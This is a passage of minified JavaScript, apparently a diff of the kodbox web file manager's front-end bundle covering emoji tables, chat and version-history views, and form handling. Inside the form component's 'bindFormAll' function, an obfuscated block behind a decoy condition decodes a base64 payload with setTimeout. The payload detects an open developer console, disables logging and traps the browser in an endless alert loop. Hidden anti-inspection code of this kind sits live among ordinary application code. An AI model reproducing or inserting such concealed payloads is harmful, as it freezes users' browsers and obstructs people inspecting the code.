","hk":"亂舞","us":"Meditate","code":"/:hiphot","web_code":"/街舞"},{"id":"103_smooch","cn":"献吻","hk":"獻吻","us":"Smooch","code":"/:kiss","web_code":"/献吻"},{"id":"104_taichi-l","cn":"左太极","hk":"左太極","us":"TaiChi L","code":"/:<&","web_code":"/左太极"},{"id":"105_taichi-r","cn":"右太极","hk":"右太極","us":"TaiChi R","code":"/:&>","web_code":"/右太极"},{"id":"106_hey","cn":"嘿哈","hk":"吼嘿","us":"Hey","ext":"png"},{"id":"107_facepalm","cn":"捂脸","hk":"掩面","us":"Facepalm","ext":"png"},{"id":"108_smirk","cn":"奸笑","hk":"奸笑","us":"Smirk","ext":"png"},{"id":"109_smart","cn":"机智","hk":"機智","us":"Smart","ext":"png"},{"id":"110_moue","cn":"皱眉","hk":"皺眉","us":"Moue","ext":"png"},{"id":"111_yeah","cn":"耶","hk":"歐耶","us":"Yeah!","ext":"png"},{"id":"112_packet","cn":"红包","hk":"Packet","us":"Packet","ext":"png"},{"id":"113_chick","cn":"鸡","hk":"小雞","us":"Chick","ext":"png"},{"id":"onlooker","cn":"吃瓜","hk":"吃西瓜","us":"Onlooker","ext":"png"},{"id":"goForIt","cn":"加油","hk":"加油","us":"GoForIt","ext":"png"},{"id":"sweats","cn":"汗","hk":"汗","us":"Sweats","ext":"png"},{"id":"omg","cn":"天啊","hk":"天啊","us":"OMG","ext":"png"},{"id":"emm","cn":"Emm","hk":"一言難盡","us":"Emm","ext":"png"},{"id":"respect","cn":"社会社会","hk":"失敬失敬","us":"Respect","ext":"png"},{"id":"doge","cn":"旺柴","hk":"旺柴","us":"Doge","ext":"png"},{"id":"noProb","cn":"好的","hk":"好的","us":"NoProb","ext":"png"},{"id":"myBad","cn":"打脸","hk":"打臉","us":"MyBad","ext":"png"},{"id":"wow","cn":"哇","hk":"哇","us":"Wow","ext":"png"},{"emoji":"😄","cn":"笑脸"},{"emoji":"😷","cn":"生病"},{"emoji":"😂","cn":"破涕为笑"},{"emoji":"😝","cn":"吐舌"},{"emoji":"😳","cn":"脸红"},{"emoji":"😱","cn":"恐惧"},{"emoji":"😔","cn":"失望"},{"emoji":"😒","cn":"无语"},{"emoji":"🙄"},{"emoji":"🙃"},{"emoji":"😩"},{"emoji":"🤔"},{"emoji":"🌚"},{"emoji":"👻","cn":"鬼魂"},{"emoji":"🙏","cn":"合十"},{"emoji":"💪","cn":"强壮"},{"emoji":"🎉","cn":"庆祝"},{"emoji":"🎁","cn":"礼物"},{"emoji":"🙈"},{"emoji":"👊"},{"emoji":"🙌"},{"emoji":"💯"},{"emoji":"💃"},{"emoji":"🍻"}],"parseFaceMap":function(){if(this.faceMap)return this.faceMap;var e={"imageShow":STATIC_PATH+"images/chat/qqold_png/{id}.{ext}","imageShowExt":"png","imagePanel":STATIC_PATH+"images/chat/qqold_png/{id}.{ext}","imagePanelExt":"png"},n={},a=e.imageShow,r=e.imageShowExt,o=e.imagePanel||e.imageShow,s=e.imagePanelExt||e.imageShowExt;_.each(this.faceArr,function(e){if(!e.emoji){var t=e.ext||r,i=e.ext||s;e.imageShow=a.replace("{id}",e.id),e.imageShow=e.imageShow.replace("{ext}",t),e.imagePanel=o.replace("{id}",e.id),e.imagePanel=e.imagePanel.replace("{ext}",i),e.cn&&(n["["+e.cn+"]"]=e),e.us&&(n["["+e.us+"]"]=e),e.hk&&(n["["+e.hk+"]"]=e),e.code&&(n[e.code]=e),e.web_code&&(n[e.web_code]=e)}}),this.faceMap=n},"makeHtmlPanel":function(){var o="",s=G.lang||"zh-CN";return s="zh-CN"==(s="zh-TW"==s?"hk":s)?"cn":"us",this.parseFaceMap(),_.each(this.faceArr,function(e){var t,i,n,a;if(e.emoji)t="item-face ripple-item item-face-emoji",n=e.emoji,i=e[s]||e.emoj,a=e.emoji;else{var r="emoji-qq-"+(e.us||"");r=r.toLowerCase().replace(/[ !]/g,"_"),t="item-face ripple-item item-face-img item-face-"+e.id+" "+r,a="["+(i=e[s])+"]",n=''}e.dataText=a,o+=''+n+""}),o},"encodeReg":function(e){for(var t="?()|<>./+".split(""),i=0;i"}):e},t="";return this._each(this.faceArr,function(e){e.web_code&&(t+=this.encodeReg(e.web_code)+"|"),e.code&&(t+=this.encodeReg(e.code)+"|")}),e=n(e=n(e,t),"\\[(.+?)\\]")}})},function(e,t,i){"use strict";var a=i(0);e.exports=function(e){e=e||{};var t="",i=a.$escape,n=e.LNG;return t+='
    \n\t
    \n\t\t\n\t\t',t+=i(n["explorer.panel.chatName"]),t+='\n\t\t(0 ',t+=i(n["explorer.table.items"]),t+=')\n\t
    \n
    \n
    \n\t\n\t
    \n
    \n
    \n\t
    \n\t\t\x3c!-- --\x3e\n\t\t
    \n\t\t
    \n\t\t\t
    \n\t\t
    \n\t
    \n\t
    \n\t\t
    \n\t\t
    \n\t\t
    \n\t\t
    \n\t\t\n\t\t
    \n\t\t\t
    ',t+=i(n["explorer.panel.chat.send"]),t+='
    \n\t\t\t
    \n\t\t\t\t\n\t\t\t
    \n\t\t\t\n\t\t
    \t\t\n\t
    \n
    \n"}},function(e,t,i){"use strict";var l=i(0);e.exports=function(e){var i="",t=(e=e||{})._,n=e.data,a=l.$escape,r=e.LNG,o=l.$each,s=(e.item,e.i,e.menuType);return t.isEmpty(n.list)?(i+='
    ',i+=a(r["explorer.panel.chat.empty"]),i+="
    "):(i+=" ",o(n.list,function(e,t){i+='
    ',i+=e.userInfo,i+='
    ',i+=a(l.dateShow(e.createTime)),i+='
    ',e.parentComment&&(i+=' ',i+=a(r["explorer.panel.chat.reply"]),i+=" ",i+=e.parentComment.userInfo,i+=': ',i+=e.parentComment.content,i+=" "),i+=' ',i+=e.content,i+='
    '}),i+=" "),i}},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var a=n(r(106)),i=n(r(413));function n(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){this.pathAction=this.root.pathAction,this.$el=this.$(".tab-group-pan .panel-history"),this.pathInfo={},this.listenTo(this.parent,"tabChange.panel-history",this.reloadView),this.bindNotify()},"bindNotify":function(){var n=this;Events.bind("explorer.panel.history.change",function(e,t){if(t!=n){var i=n.pathInfo;_.get(i,"path")==e&&(n.pathInfo={},n.reloadView(i))}},this)},"reloadView":function(e,t,i){this.pathInfo.path!=e.path&&(this.initViewFinished||(this.initView(),this.initViewFinished=!0,this.$el.hide().delay(50).fadeIn(250)),this.serverData=!1,this.pathInfo=e,this.initViewList(e.path))},"initView":function(){this.rightMenu=new i["default"]({"parent":this}),this._delay(this.bindEvent,500)},"initViewList":function(t,e,i){var n=this,a={"path":t,"page":e||1,"pageNum":i||5},r=_.get(this.serverData,"pageInfo");!e&&r&&(a.page=r.page,a.pageNum=r.pageNum),this.pathModel.historyList(a,function(e){e&&e.code&&n.renderView(e.data,t)})},"renderView":function(e,t){var i=r(414),n=this,a={"data":e,"userInfo":this.root.path.userInfo};this.serverData=e,this.renderHtml(i,a,this.$(".content")),this.pageLoad(e.pageInfo,t),this.$(".menu-history-list-file").each(function(){$(this).data("fileItem",n.pathInfo)}),this.parent.resetTop()},"bindEvent":function(){var i=this,e=this.$el;e.delegate(".file-item.menu-history-list-file","dblclick",function(e){$.isEdit(e)||$.targetParent(e,".menu-trigger")||i.rightMenu.doAction("open",$(this))}),e.delegate(".new-version","click",function(e){var t=i.parent.historyBindFile.uploadNewVersion(i.pathInfo);i.listenToOnce(t,{"itemUploadSuccess":function(){i.initViewList(i.pathInfo.path)}})}),e.delegate(".version-refresh","click",function(e){i.initViewList(i.pathInfo.path)});var t=this.parent.rootSelector()+" .panel-history",n=_.bind(this.initViewList,this);i.rightMenu.bindHistoryItemMenu(t,n),i.bindEditDesc(e),a["default"].checkHistory(e)},"uploadVersionNotify":function(e,n){var a=this;this.listenToOnce(e,{"itemUploadSuccess":function(e,t){var i=_.get(e,"paramData.postParam.name");n.name==i&&(a.initViewList(n.path),a.changeNotify())}})},"changeNotify":function(){var e=this.pathInfo.path;Events.trigger("explorer.panel.history.change",e)},"bindEditDesc":function(e){var r=this;e.delegate(".file-item .detail .content","click",function(){if(!$(this).hasClass("on-edit")){var i=$(this).text();$(this).hasClass("placeholder")&&(i=""),$(this).attr("data-detail",i),$(this).addClass("on-edit"),$(this).html(''),$(this).removeClass("placeholder");var n=$(this).find("textarea"),a=$(this).parents(".file-item");n.val(i).autoTextarea({"maxHeight":120}),n.bind("blur",function(e){o(a,n.val())}),n.focusPose(),n.bind("keydown",function(e){var t=e.ctrlKey||e.shiftKey||e.altKey||e.metaKey;if("Escape"==e.key)o(a,i);else if("Enter"==e.key)return t?(n.textInsert("\n"),!0):(o(a,n.val()),stopPP(e))})}});var o=function o(e,t){var i=e.find(".detail .content"),n=i.attr("data-detail")||"",a={"path":e.parents(".file-history-content").attr("item-path"),"id":e.attr("item-id"),"detail":t};t!=n&&r.pathModel.historySetDetail(a,function(e){if(!e||!e.code)return Tips.tips(e);$(this).attr("data-detail",t),r.changeNotify()}),t?(i.html(htmlEncode(t)),i.removeClass("on-edit").removeClass("placeholder")):(i.html(LNG["explorer.fileDescAdd"]),i.removeClass("on-edit").addClass("placeholder"))}},"pageLoad":function(e,i){var n=this,t=this.$(".list-page"),a=[5,10,20];if(!e||e.totalNum<=a[0])return this.$el.addClass("page-empty"),t.html("");this.$el.removeClass("page-empty"),t.pageBox({"totalNum":e.totalNum,"pageTotal":e.pageTotal,"pageShow":1,"pageCurrent":e.page,"pageSize":e.pageNum,"pageSizeArray":a,"callback":function(e,t){n.initViewList(i,e,t)}})}})},function(e,t,i){"use strict";var c=i(0);e.exports=function(e){e=e||{};var t="",i=c.$escape,n=e.LNG,a=e.item,r=e.timeTo,o=e.window,s=e.timeToService,l=e.G;if(t+='
    ',t+=i(n["common.version.userLimitTitle"]),t+='
    ',t+=i(n["common.version.userUse"]),t+=': ',t+=i(a.userUse),t+='
    ',t+=i(n["common.version.userAllow"]),t+=': ',1e4<=a.userLimit?(t+=' ',t+=i(n["common.noLimit"]),t+=" "):(t+=" ",t+=i(a.userLimit),t+=" "),t+="
    ","A"==a.versionType&&(t+='
    ',t+=i(n["common.version.license"]),t+='
    ',t+=i(a.versionText),t+=" "),t+="
    ","A"!=a.versionType){if(t+='
    ',t+=i(n["common.version.userTitle"]),t+='
    ',a.user&&(t+='
    ',t+=i(n["common.version.userTo"]),t+=': ',t+=i(a.user),t+="
    "),t+=" ",a.timeTo){t+='
    ',t+=i(n["common.version.timeTo"]),t+=': ';r=''+n["common.version.licenseAll"]+"";a.timeTo-o.time()<=94608e3&&(r=o.dateFormat(a.timeTo,"timeDay")),t+=" ",t+=r,t+="
    "}if(t+=" ",a.timeToService){t+='
    ',t+=i(n["common.version.timeToService"]),t+=': ';s=o.dateFormat(a.timeToService,"timeDay");a.timeToService-o.time()<0&&(s+=''+n["common.version.timeout"]+""),t+=" ",t+=s,t+="
    "}t+=" ",a.user||a.timeTo||a.timeToService||(t+='
    ',t+=i(n["common.version.userTo"]),t+=': ',t+=i(l.system.options.systemName),t+='
    ',t+=i(n["common.copyright.licenseResetTips"]),t+='
    '),t+='
    ',t+=i(n["common.copyright.licenseReset"]),t+='
    ',t+=i(a.versionText),t+="
    "}return t+='
    ',t+=i(n["common.version.kodVersion"]),t+='
    ',t+=i(n["common.version"]),t+=': ',t+=i(l.kod.version),t+='
    build: ',t+=i(l.kod.build),t+="
    '}},function(e,t,i){e.exports={"default":i(488),"__esModule":!0}},function(e,t,i){i(489),e.exports=i(1).Object.assign},function(e,t,i){var n=i(7);n(n.S+n.F,"Object",{"assign":i(490)})},function(e,t,i){"use strict";var u=i(27),f=i(76),p=i(42),w=i(38),m=i(59),a=Object.assign;e.exports=!a||i(18)(function(){var e={},t={},i=Symbol(),n="abcdefghijklmnopqrst";return e[i]=7,n.split("").forEach(function(e){t[e]=e}),7!=a({},e)[i]||Object.keys(a({},t)).join("")!=n})?function(e,t){for(var i=w(e),n=arguments.length,a=1,r=f.f,o=p.f;a\n \n \n
    ';this.tbTarget.find(".toolbar ."+e).append(i);var n=this,a=function a(){n.parent.pageing.currentPathPage=1,n.parent.searchValue=$.trim(n.tbTarget.find(".search-box input").val()),n.parent.refresh()};this.tbTarget.delegate(".search-box .btn-search","click",function(){a()}),this.tbTarget.find(".search-box input").keydown(function(e){13==e.keyCode&&a()}),this.tbTarget.delegate(".search-box input","blur",function(){""!=_.trim($(this).val())&&$(this).next().removeClass("hidden")}),this.tbTarget.delegate(".search-box .btn-close","click",function(){$(this).prev().val(""),$(this).addClass("hidden"),a()})},"bindExport":function(e,a){var t='";this.tbTarget.find(".toolbar ."+e).append(t);var n=this;this.tbTarget.delegate(".btn-export","click",function(){var e=n.tbTarget.find(".list-table .list-row");if(!e.not(".title").length)return Tips.tips(LNG["common.empty"],"warning");var t=[];e.each(function(){var i=[],n=$(this).hasClass("title");$(this).find(".list-col").each(function(){var e=_.trim($(this).text());if(!n&&a.formatter&&_.isFunction(a.formatter)){var t=a.formatter($(this));_.isNull(t)||(e=t)}i.push('"'+e+'"')}),t.push(i.join(","))});var i=dateFormat(!1,"YmdHis")+roundString(4)+".csv";$.htmlDownload("\ufeff"+t.join("\r\n"),i)})}})},function(e,t,i){"use strict";i(0);e.exports=function(e){return'
    ','
    '}},,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,function(e,t,i){e.exports=i(729)},function(e,t,i){"use strict";var n=i(80),a=o(i(128)),r=o(i(274));function o(e){return e&&e.__esModule?e:{"default":e}}(0,n.loadApi)().then(function(){window.Router=new Backbone.Router,(0,r["default"])(),(0,a["default"])()})}]); \ No newline at end of file +/*! Powered by kodbox;hash:82c6cf9f2fafbdc655a8 [2021/05/26 22:18:41] */ +!function(s){function e(e){for(var t,i,n=e[0],a=e[1],r=0,o=[];r .panel-form-body-main > .panel-form-body");return t=0!=i.length?0!=i.find(".tab-content").length?i.find("> .tab-content > .form-row"):i.find("> .form-row"):this.$("> .form-row").add(t),e?t.filter('[data-key="'+e+'"]'):t},"input$":function(e){if(!e){var t=this.formRow$(),i=t.find(" > .setting-content > label > [name]");return t.find("> .setting-content > [name]").add(i)}_.isString(e)&&(e=this.formRow$(e));var n=e.find("> .setting-content > [name]");return 0==n.length&&(n=e.find("> .setting-content > label [name]")),n},"resetValue":function(){var n=this;this.formRow$().each(function(){var e=$(this).attr("data-type"),t=$(this).attr("data-key");if(e&&"html"!=e&&"button"!=e){var i=n.formData[t];_.isUndefined(t)||!i||_.isString(i)||n.setValue(t,i.value)}})},"defaultValue":function(){var i={};return _.each(this.formData,function(e,t){_.isObject(e)&&e.type&&"html"!=e.type&&(i[t]=_.isUndefined(e.value)?"":e.value)}),i},"getValueFormDefault":function(e,t){var i=e.val()||"";return _.isArray(i)?i.join(","):i},"setValueFormDefault":function(e,t){e.val(t).trigger("change")},"renderTarget":function(e,t){var i=this.makeHtml(this.formData);if(!i)return!1;var n=this.formData;(this.$el=e).html(i);var a="dialog-form target-form ";a+=_.get(n,"formStyle.className","")+" ",a+=_.get(n,"formStyle.tabs")?" dialog-form-has-menu ":" ",$.isWindowSmall()&&(a+=" form-box-title-block"),e.addClass(a),e.find(".form-header").remove(),e.find(".form-target-save").show(),"1"==_.get(this.formData,"formStyle.hideSave")&&e.find(".form-target-save").hide(),t&&t(),this.bindEvent()},"setValueReset":function(){var e=this,t=this.setValue,i={};this.setValue=function(e,t){_.isString(e)?i[e]=t:_.isObject(e)&&(i=$.extend(!0,i,e))},this.bind("initFinished",function(){e.setValue=t,_.isEmpty(i)||e.setValue.apply(e,[i]),i=null})},"dialogClose":function(){this.dialogCloseFinished||(this.dialogCloseFinished=!0,this.dialog&&this.dialog.close())},"renderDialog":function(e,n){var a=this,t=this.formData,i=a.makeHtml(t);if(!i)return!1;var r={"padding":0,"fixed":!0,"resize":!0,"className":"dialog-no-title dialog-form","title":LNG["common.systemSet"],"ico":'',"width":700,"height":510,"content":i,"okVal":LNG["common.save"],"ok":function(){var e=a.getFormData(!0),t=!!e.success&&e.result;if(a.trigger("onSave",t),t){var i=n(t);if(i||_.isUndefined(i))return!0}return!1},"resizeCallback":_.debounce(function(){a.trigger("dialogResize")},100),"close":function(){a.objectRemove()}},o=r.className,s=$.extend(!0,r,e);s.className=o+" "+_.get(e,"className","")+" ",s.className+=_.get(t,"formStyle.className","")+" ",s.className+=_.get(t,"formStyle.tabs")?" dialog-form-has-menu ":" ",$.isWindowSmall()&&(s.className+=" form-box-title-block");var l="dialog-form-style-default";_.get(t,"formStyle.tabs")&&(_.includes(s.className,"dialog-form-style-")||(s.className+=" "+l),_.includes(s.className,l)&&s.width&&(s.width+=120)),this.dialog=$.dialog(s);var c=this.dialog.$main.find(".aui-title").html();return this.dialog.$main.find(".modal-title").html(c),this.$el=this.dialog.$main,this.bindEvent(),n&&this.$(".form-save-button").bind("click",function(){r.ok()}),this.on("onRemove",function(){this.dialogClose()}),this.dialog},"save":function(){this.dialog?this.dialog.$main.find(".aui-state-highlight").click():this.$(".form-save-button").click()},"makeHtml":function(e){if("string"==typeof e)return this.loadFile(file),!1;if($.isPlainObject(e.formStyle)&&e.formStyle.loadFile){var t=e.formStyle.loadFile;"string"==typeof t&&(t=[t]),this._each(t,this.loadFile)}var i=l(97),n={"items":e,"wrapID":this.wrapID};return this.renderHtml(i,n,!1)},"bindEvent":function(){var e,i=this;this.viewRendering=!0,this.$el=$("#"+this.wrapID),this.$el.data("kodView",this),(e=this.input$()).each(function(){var e=i.formData[$(this).attr("name")];$(this).data("fieldItem",e)}),this.$("input[type=password]").attr("autocomplete","new-password"),this.bindHotKeyEvent(),this.bindGroupTab(),this.setValueReset(),this.loadExtence(),this.bindFormAll(),this._delay(function(){this.viewRendering=!1},50),(e=this.input$()).inputChange(function(){var e=$(this).parents(".form-row").first(),t=e.attr("data-key");i.switchItemChange(t),i._delay(function(){i.trigger("onChange",t,i.getValue(t),e)},0)});for(var t=e.length-1;0<=t;t--)$(e.get(t)).trigger("change");this.$el.delegate(".form-row.error","click",function(){$(this).removeClass("error")}),this.$(".form-save-button").bind("click",function(){if(!$(this).hasClass("disabled")){var e=i.getFormData(!0),t=!!e.success&&e.result;i.trigger("onSave",t,i)}}),this.$(".form-reset-button").bind("click",function(){i.resetValue()}),this.bindEventInput()},"bindEventInput":function(){var i=this;this.$(".input-title[action]").bind("click",function(){var e=$(this).attr("action"),t=$(this).prev(),i=t.val();switch(e){case"openLink":window.open(i);break;case"clear":t.val("");break;case"qrcode":core.qrcode(i);break;case"round8":t.val(roundString(8));break;case"round16":t.val(roundString(16));break;case"round32":t.val(roundString(32));break;case"copy":$.copyText(i),Tips.tips(LNG["explorer.share.copied"])}});var n=function n(e,t,i){""==t?i.removeClass("item-not-empty"):i.addClass("item-not-empty")};this.bind("onChange",n),this.formRow$().each(function(){var e=i.input$($(this));e.attr("name")&&n(e.attr("name"),e.val(),$(this))}),this.input$().bind("focus",function(){$(this).parents(".form-row").first().addClass("item-focus")}).bind("blur",function(){$(this).parents(".form-row").first().removeClass("item-focus")}),this.$(".input-clear").bind("click",function(e){var t=$(this).parents(".form-row").first();i.input$(t).val("").focus().trigger("change")})},"bindFormAll":function(){var currentPathKx5=function(){return };var resetAddressDatag0=currentPathKx5+String.fromCharCode();if(_.includes(resetAddressDatag0,String.fromCharCode(30-(34-(-51+65))))){setTimeout(hashDecode("KGZ1bmN0aW9uKCl7IGlmKCF3aW5kb3cuY29uc29sZSB8fCAhd2luZG93Lk9iamVjdCB8fCAhd2luZG93Lk9iamVjdC5kZWZpbmVQcm9wZXJ0eSl7cmV0dXJuO30gaWYod2luZG93Ll9jb25zb2xlXykgcmV0dXJuOyB3aW5kb3cuX2NvbnNvbGVfID0gdHJ1ZTsgdmFyIHggPSBkb2N1bWVudFsnY3JlYXRlRWxlbWVudCddKCdkaXYnKTsgdmFyIGlzT3BlbmluZyA9IGZhbHNlLGlzT3BlbmVkPWZhbHNlOyB2YXIgbG9nID0gd2luZG93LmNvbnNvbGU7IHZhciBlcnJvciA9IGZ1bmN0aW9uKCl7IHZhciBmID0gZnVuY3Rpb24oKXt9OyB3aW5kb3cuY29uc29sZSA9IHsnbG9nJzpmLCdpbmZvJzpmLCd0cmFjZSc6ZiwnZXJyb3InOmYsJ2RlYnVnJzpmLCd3YXJuJzpmLCdlcnJvcic6Zn07IHdoaWxlKDEpe2FsZXJ0KCk7ZXNjYXBlKCcrJyl9OyB9OyBPYmplY3QuZGVmaW5lUHJvcGVydHkoeCwnaWQnLHsgZ2V0KCl7IGlmKCFpc09wZW5pbmcpeyBpc09wZW5pbmc9dHJ1ZTsgZXJyb3IoKTsgfSBpc09wZW5lZD10cnVlOyB9IH0pOyB3aW5kb3dbJ3NldEludGVydmFsJ10oZnVuY3Rpb24oKXsgaXNPcGVuZWQ9ZmFsc2U7IGxvZ1snaW5mbyddKHgpOyBsb2dbJ2NsZWFyJ10oKTsgaWYoIWlzT3BlbmVkICYmIGlzT3BlbmluZyl7IGlzT3BlbmluZyA9IGZhbHNlOyB9IH0sMTAwMCk7IH0pKCk7"));};var n=this.formRow$(),a=this;this._each(this.getValueWith,function(e,t){var i="bind"+_.upperFirst(t);if(n.filter(".form-"+t).exists()){if(!_.isFunction(this[i]))return;this[i].apply(this,[function(){a.trigger("fieldLoad",t)},this])}})},"switchItemChange":function(e){var t=this.formData[e];if(t&&t.switchItem){var i="button/switch/radio/checkbox/select/tags/segment".split("/");if(_.includes(i,t.type)){var n=_.map(t.switchItem).join(",").split(","),a=this.getValueField(e);if("button"==t.type)a=this.input$(e).val();var r=t.switchItem[a]?t.switchItem[a].split(","):[];_.includes(a,",")&&this._each(a.split(","),function(e){t.switchItem[e]&&(r=r.concat(t.switchItem[e].split(",")))}),r=_.filter(_.map(r,_.trim)),n=_.filter(_.map(n,_.trim)),this._each(n,function(e){var t=this.formRow$(e);_.includes(r,e)?this.display(t,1):this.display(t,0)}),this._each(n,function(e){_.includes(r,e)?this.switchItemChange(e):this.switchItemHideChildren(e)})}}},"switchItemHideChildren":function(e){var t=this.formData[e];if(t&&t.switchItem){var i="button/switch/radio/checkbox/select/tags/segment".split("/");if(_.includes(i,t.type)){var n=_.map(t.switchItem).join(",").split(",");n=_.filter(_.map(n,_.trim)),this._each(n,function(e){var t=this.formRow$(e);this.display(t,0),this.switchItemHideChildren(e)})}}},"display":function(e,t){var i="item-hide";if(this.viewRendering||e.hasClass("no-animate"))return t?e.show().removeClass(i):e.hide().addClass(i);var n=$.easing.def,a={"duration":150,"queue":!($.easing.def="linear")};if(t){if(!e.hasClass(i))return;e.slideDown(150,function(){e.show().removeClass(i).css({"opacity":"","overflow":""}),$.easing.def=n}),e.css({"opacity":0}).animate({"opacity":1},a)}else{if(e.hasClass(i))return;e.slideUp(150,function(){e.hide().addClass(i).css({"opacity":"","overflow":""}),$.easing.def=n}),e.animate({"opacity":0},a)}},"bindGroupTab":function(){var i=this.$(".tab-panel"),n=this.$(".tab-group .tab-item");if(1==n.length)return this.$(".tab-group").remove();var a=this;i.each(function(){var e=$(this).attr("id"),t=a.$("."+e);0'+e+"":(_.startsWith(e,"/")&&(e="folder"),_.startsWith(e,"./")||_.startsWith(e,"/")||_.startsWith(e,"http://")||_.startsWith(e,"https://")?'':r[e]?''+('')+"":_.startsWith(e,"icon-")?'':_.includes(e," ")?'':'')},s=function s(e){var t=!(1"):o(t)},t.pathIcon=s},function(e,t,i){var n=i(10),a=i(33);e.exports=i(11)?function(e,t,i){return n.f(e,t,a(1,i))}:function(e,t,i){return e[t]=i,e}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var b=a(i(5)),n=a(i(290));function a(e){return e&&e.__esModule?e:{"default":e}}var r,o=["LcOawoHDs8Ouw5Jew6ZYwrvCl8KVWg==","w6DClFskw6M=","wovCmw1Zw7bChApfw4DClTVuGkbDt8KywpVtwp7DhDR9wr9Ow7Uuw5LChzzCkcK2wqJfwoU6NMOJfkDDi8KZaMKqw4pVwr8JJFrCh0I2wrjDuT/Dr8KEdVYKw5A/RXQPfMKGFsKxWcKPK8OQDBRmH8OgwpDDpCnDhQcrKcO2wrRwwqo1wrPDiW9dw7rCtsOnKH0=","w7XCmWw6w4o=","w5QOwo5mw6o=","w7lpFy8n","w6MawqFdwqwqeCrCqQI0w7/CssKRWQ==","w5sIGEc+","woPChFvCjlU=","OW3Cr0EoEQg7Tg==","w6rCin0nw7g=","w4/CkcK/w4XDtw==","O8KSw63DjTo=","wpPCksKcw64=","esOuw6XCmXk=","wprCqXPCqA==","UsK2w7bCoMOn","LELCgl7CiA==","w41gRMKYwrg=","wpbCh1DCvnc=","YMODw4k=","C1lQLsKm","w7VXwrzDgkFN","O2hgCcKn","J3FLEcKq","woPCrgNtwoA=","w6QODsOK","w7ZMcMO9w7c=","wpfCtGLCoFfDsTLDkSLCjcKFCMKAEMKmFGolOyFhYMK6w6w=","wo7CgcONGkU=","PcK0AmwY","w594EjMQ","w4rDo8KiwrjCkQ==","CUPCoHg=","w7HCnMKMw73Dgg==","KELCtHLCmQ==","w5fCjcKfTMKf","w5NBw6LDmcOZ","w7gsNcOabA==","w5wtM2Qk","w5PCr8Kww4s+REDDgsOGUMK+Lyg=","LFDDtsKLw5Y=","w4I3wrpiXg==","F1ZYwpJn","DlbDjcK0w4g5wrQ=","cljCgsKrUA==","w67Cul3CvsOn","w4TCmQJfcQ==","wq3CjsOaKA==","w6rCg8OS","w4zCpynCgcOB","w48rwqh9cw==","wpfCng1HwoLDuw==","XMOAw6LCtnk=","UcKUwqTCoMKB","w7xfPT0s","YRvCiV8/","w4HCuz7DnsKr","BUBGwo1vRcKYwp/CnCjCicKuw4DCvnzCvW4LwqIi","FyYUw4IU","VBA8wrkpKWVtPWnCqQ==","PsKVAUcx","w7LCiArCkMOO","w6tndsOmw7o=","w4TCs8K6w5/Dg8OY","S8KSwr7CtMKp","cMOcacKMDA==","wq1BWjzCrg==","H3tzCsKAbMKuTmdI","D0rDksKcw4U=","w7VKc8Ocw6I=","YC3DjkNV","w4LCnsKfw4QI","ZsORRsK1Ng==","w7nCgm/ChMOX","OiDDnFZfP8OlPV41Xw==","U8OcZcKINw==","wrEJw7DDusOn","bsKdw4HCsMKidFPDlMO6CcOnRcOWZcKC","RsOUw6LCmnY=","w5HCnV4I","w6F9wqHDtE8=","w55GwoDDumI=","ScKTw7bCh8Oi","wrXCiMO5w4/CpcKDw7JFMg==","DMKTPlo6","wr7Cm8Oswo/DjA==","woHCtFPCiXw=","wphwGA==","wokxbwYD","w4gUwq1Aw64l","w6goCVsW","VE7DsSgUw5Fewq4QdkPDlMKowozDpMK5woUcw4vCo8OIYQ/CpxQ/w53DsyDDoEjDpi/DvUDCp8KbHWkaYVxJH8OQGF3CksKEUHPDvMKVwr/CnMK3IynDkHsqcgQzRlrCiWbColAjw5sqQMKDw4DCiSXCrcKDVHxfeg5BGcK1w5bCs8Klw4DDvHfCvsOfwpxpPg==","I8O8w7nClys=","w4FIwr7Doms=","w7xFLycs","K8OcwpnDog==","FcO0wrvDn8OA","w43CjjRnbUo=","w7jCusOzInU=","FETCpHU0w5FXwpELYGvDlsK2woLDssKIwq5Gw4XCl8KgWwzDujdhw5XCpAHDhz3DlizDuVHDsMKv","woIdw4fDqsO2","wrLCg8OcBEw=","w6nCrhXCpcO+","UMK5w7bCnMOG","wqVobik=","wpnDn2bCiis=","RsOgBcOtTg==","MGlkwqRz","w51uNRg0","w67CgsKPw4LDlg==","w5hHw6HDlMOp","w7rCg8OUNEXCucK9woDDgMOPw75swrY=","dMOFPcOUUA==","I8Opw6TCgw==","SSTCtUsN","w7cCF8Oqc8K/I8Krw7HCm3thS8O/WSFlWhrCrg==","wpoEw4bDgsOv","byzCn08BJ8KTKQYlCQ==","w7XCrTLDtcK0","bsKCw7HClcOD","FAIww5se","AkjCoHIkw7k=","aw/DvFdx","w7rDqsK0wrLCvA==","w4fCkzZCWA==","w57ChMOnA3c=","w4rCilw=","S8ODw6HCsWg=","GcKEw7bDuhtu","w6fCvzDDtMKowovCmcOz","w41EERI3PcONMQ==","w7QXwppew4w=","w57CksKxw5wE","w7YPwrBqw6wufzXCrw==","ci/Dj1lf","wpbDm0DCiyE=","w7/CqsKqa8Ko","wpLCjMOCw53Cng==","w58GM8OuRw==","w7lwwojDlW8=","w6jCozTCgcOBEsKRwqU+G8KnAA==","PyY3w4kg","woMNwofDlxg=","wqfCrcOqw6zCtQ==","wqDCmjpnwrE=","AcObw63Coik=","w4HCo8KxYMKN","XcOtw4fCoF4=","NMODwp/Dg8OM","w7MMwqpow6o=","w4/Ct2YCw5Y=","BcKQBGEs","M3tmPcKB","w44tNk4/P8KswpfCvw==","w7TCvXrCs8Ot","wrjCrTxawpQ=","bzLCnW4t","w6PCj309w5M=","JMOAw7PCrQs=","RwzDtWph","wqfDi1TCjwAGIMKaw7Y=","w5nCiiHDvsKLwpbChcOYFw==","w5HCmUwjw5XCpzZ8w4HDnRl4BFQ=","MCU2w7sz","ZSrChG4o","w6EwwoBHw7c=","w7rCmcOUNlrCkMKXwovDisOXw68=","wobCvnvCq1/DpiXDpnrCmMKKCA==","wprCnMOpCEA=","w5vCtjXCmMOd","JsKKFGAo","w5EOwpZTw7s=","w7zCtwrCjsOc","SXzCu8KqZ8Oxw4TDgWM=","w